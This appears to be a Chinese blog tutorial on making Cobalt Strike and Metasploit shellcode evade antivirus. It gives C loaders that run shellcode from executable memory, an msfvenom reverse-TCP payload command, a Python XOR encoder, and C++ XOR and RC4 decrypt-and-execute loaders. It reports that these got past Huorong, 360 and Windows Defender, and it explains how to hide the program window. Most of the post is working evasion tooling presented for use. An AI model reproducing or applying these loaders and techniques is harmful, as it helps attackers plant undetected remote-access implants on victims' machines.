• 免杀对抗-ShellCode上线+回调编译执行+混淆变异算法


    C/C++ --ShellCode-免杀对抗

    介绍:

             shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

    为什么要使用shellcode

           因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。

    环境:

    攻击机:kali--->cs服务端和msfwin11--->cs客户端

    受害机:win10--->虚拟机

    调用shellcode的五种原生态方式:

    文件名:原生态.c

    1. #include
    2. #include
    3. #include
    4. #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
    5. unsigned char buf[] = 你的shellcode
    6. int main()
    7. {
    8. //方式一:指针执行
    9. //((void(*)(void)) & buf)();
    10. //方式二:强制类型转换
    11. //((void(WINAPI*)(void))&buf)();
    12. //方式三:申请动态内存加载
    13. char* Memory;
    14. Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    15. memcpy(Memory, buf, sizeof(buf));
    16. ((void(*)())Memory)();
    17. //方式四:嵌入汇编加载
    18. //__asm {
    19. //lea eax,buf
    20. //call eax
    21. //}
    22. //方式五:汇编花指令
    23. //__asm{
    24. //mov eax, offset shellcode
    25. //_emit 0xFF
    26. //_emit 0xE0
    27. //}
    28. }
     

    一、保证cs/msf生成的shellcode能正常上线

    测试:cs上线

    1.kali启动服务端cs

    2.windows启动客户端cs连接

    3.创建监听器Listeners

    4.生成shellcode脚本

    5.打开Visual Studio工具,将生成的shellcode放到加载脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。注意:编译时要注意位数(x86/x64)shellcode是什么位数就要编译成什么位数。

    6.上传exe脚本到win10虚拟机,虚拟机运行脚本,cs成功上线。

    测试:msf上线

    1.kali执行命令,生成shellcode

    命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

    2.将shellcode放到执行脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。

    3.启动msf,配置运行监听。

    4.上传exe脚本到win10虚拟机,虚拟机运行脚本,msf成功上线。说明环境已经没有问题,开始免杀测试。

    免杀对抗-绕过火绒安全软件

    环境:win10-安装火绒安全软件

    绕过:通过Callback_Shellcode_Injection项目绕过。

    介绍:是一款通过回调执行shellcodepoc。因为之前使用的调用shellcode的脚本都是原生态的,都已经被杀毒软件记录了(被杀的不要不要的)。所以可以尝试项目中新的调用shellcode脚本的方式。

    下载:https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

    开始演示

    1.打开项目,使用项目中的各种shellcode执行脚本来绕过火绒安全软件的检测

    打开Visual Studio工具,创建一个.cpp文件。将项目中的执行脚本复制到.cpp文件中(否则没有生成exe程序的按钮)

    2.将执行脚本中的shellcode替换为cs/msf生成的shellcode,然后编译成exe程序。

    3.上传到win10,还是被火绒检测出来了。

    4.再次尝试其他脚本,直到尝试EnumThreadWindows.cpp调用方式时成功绕过火绒检测。

    调用方式:

    成功绕过,执行脚本成功上线。此方法还可以使用在其他杀毒软件上(如:360杀毒)

    演示:ShellCode变异-编码混淆加密算法

    shellcode变异方式:Xor Aes Hex Rc4 Rsa等

    xor异或加密

    步骤:生成shellcode——shellcode加密——将加密的shellcode放到和加密规则配套的shellcode执行脚本中——Visual Studio工具编译

    1.cs生成64shellcode,命名为payload.bin

    2.payload.bin放到和xor.py同一目录,运行自写的xor异或加密脚本,将cs生成的shellcode进行xor异或加密的。

    在根目录生成名为payload.c经过加密的shellcode

    Xor.py:

    1. import sys
    2. from argparse import ArgumentParser, FileType
    3. def process_bin(num, src_fp, dst_fp, dst_raw):
    4. shellcode = ''
    5. shellcode_size = 0
    6. shellcode_raw = b''
    7. try:
    8. while True:
    9. code = src_fp.read(1)
    10. if not code:
    11. break
    12. base10 = ord(code) ^ num
    13. base10_str = chr(base10)
    14. shellcode_raw += base10_str.encode()
    15. code_hex = hex(base10)
    16. code_hex = code_hex.replace('0x','')
    17. if(len(code_hex) == 1):
    18. code_hex = '0' + code_hex
    19. shellcode += '\\x' + code_hex
    20. shellcode_size += 1
    21. src_fp.close()
    22. dst_raw.write(shellcode_raw)
    23. dst_raw.close()
    24. dst_fp.write(shellcode)
    25. dst_fp.close()
    26. return shellcode_size
    27. except Exception as e:
    28. sys.stderr.writelines(str(e))
    29. def main():
    30. parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')
    31. parser.add_argument('-v','--version',nargs='?')
    32. parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    33. parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    34. parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
    35. parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
    36. args = parser.parse_args()
    37. shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
    38. sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
    39. if __name__ == "__main__":
    40. main()
     

    命令:python xor.py -s payload.bin -d payload.c -n 10 -r out.bin

    3.将新的shellcode放到自写的执行脚本xor.cpp中,使用Visual Studio工具编译.

    Xor.cpp:

    1. #include
    2. // 入口函数
    3. int wmain(int argc, TCHAR* argv[]) {
    4. int shellcode_size = 0; // shellcode长度
    5. DWORD dwThreadId; // 线程ID
    6. HANDLE hThread; // 线程句柄
    7. /* length: 800 bytes */
    8. unsigned char buf[] = "shellcode";
    9. // 获取shellcode大小
    10. shellcode_size = sizeof(buf);
    11. /* 增加异或代码 */
    12. for (int i = 0; i < shellcode_size; i++) {
    13. buf[i] ^= 10;
    14. }
    15. /*
    16. VirtualAlloc(
    17. NULL, // 基址
    18. 800, // 大小
    19. MEM_COMMIT, // 内存页状态
    20. PAGE_EXECUTE_READWRITE // 可读可写可执行
    21. );
    22. */
    23. char* shellcode = (char*)VirtualAlloc(
    24. NULL,
    25. shellcode_size,
    26. MEM_COMMIT,
    27. PAGE_EXECUTE_READWRITE
    28. );
    29. // 将shellcode复制到可执行的内存页中
    30. CopyMemory(shellcode, buf, shellcode_size);
    31. hThread = CreateThread(
    32. NULL, // 安全描述符
    33. NULL, // 栈的大小
    34. (LPTHREAD_START_ROUTINE)shellcode, // 函数
    35. NULL, // 参数
    36. NULL, // 线程标志
    37. &dwThreadId // 线程ID
    38. );
    39. WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    40. return 0;
    41. }

    4.编译成功,将执行脚本上传到win10,成功绕过火绒检测。

    运行脚本,cs成功上线

    也可以在网上找一个shellcode加密项目尝试绕过。

    RC4加密

    Rc4.cpp代码:

    1. #include
    2. #include
    3. #include
    4. using namespace std;
    5. unsigned char T[256] = { 0 };
    6. int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
    7. {
    8. int i = 0, j = 0;
    9. unsigned char t[256] = { 0 };
    10. unsigned char tmp = 0;
    11. for (i = 0; i < 256; i++) {
    12. s[i] = i;
    13. t[i] = key[i % Len];
    14. }
    15. for (i = 0; i < 256; i++) {
    16. j = (j + s[i] + t[i]) % 256;
    17. tmp = s[i];
    18. s[i] = s[j];
    19. s[j] = tmp;
    20. }
    21. for (int i = 0; i < 256; i++)
    22. {
    23. T[i] = s[i];
    24. cout << "0x" << hex << (int)T[i] << ',';
    25. }
    26. cout << endl;
    27. return 0;
    28. }
    29. int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
    30. {
    31. int i = 0, j = 0, t = 0;
    32. unsigned char tmp;
    33. for (int k = 0; k < Len; k++)
    34. {
    35. i = (i + 1) % 256;
    36. j = (j + s[i]) % 256;
    37. tmp = s[i];
    38. s[i] = s[j];
    39. s[j] = tmp;
    40. t = (s[i] + s[j]) % 256;
    41. buf[k] ^= s[t];
    42. }
    43. return 0;
    44. }
    45. unsigned int main()
    46. {
    47. char key[] = "reverse";
    48. unsigned char buf[] =
    49. "shellcode";
    50. unsigned char s[256];
    51. rc4_init(s, (unsigned char*)key, strlen(key));
    52. for (size_t i = 0; i < sizeof(buf); i++)
    53. {
    54. rc4_crypt(s, &buf[i], sizeof(buf[i]));
    55. printf("\\x%02x", buf[i]);
    56. }
    57. LPVOID add =
    58. VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    59. RtlCopyMemory(add, buf, sizeof(buf));
    60. HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
    61. WaitForSingleObject(handle, INFINITE);
    62. return 0;
    63. }

    1.安装msf,执行命令生成shellcode

    命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

    2.打开Visual Studio工具,创建一个.cpp文件。将rc4.cpp中的执行脚本复制到.cpp文件中(否则没有生成exe程序的按钮)

    rc4.cpp中的shellcode替换为msf生成的shellcode,点击——本地Windows调试器 来加密shellcode

    3.调试成功,生成了加密的shellcode

    4.在将rc4.cpp中的shellcode替换为加密后的shellcode,点击生成,编译为exe执行程序

    5.上传程序到目标系统,成功绕过火绒。执行程序,msf成功上线。

    想要去除程序执行弹窗:删除代码 printf("\\x%02x", buf[i]); 即可

    6.此方法还可以绕过windows自带的杀毒程序:Windows Defender

  • 相关阅读:
    第3阶段-运维线上实战-3.2企业级nginx使用
    Protocol Buffers定义消息类型
    什么是Integer128陷阱
    软件测试外包到底要不要去?三年真实外包感受告诉你
    【六】sql 语言 -- 复杂查询与视图
    Redis基础命令(List类型)双链表
    学习率设置太大或者太小会有哪些影响?
    ndk-build
    3主3从redis集群配置(docker中)
    ES6 数组解构时不加分号引发的问题
  • 原文地址:https://blog.csdn.net/m0_51345235/article/details/132793196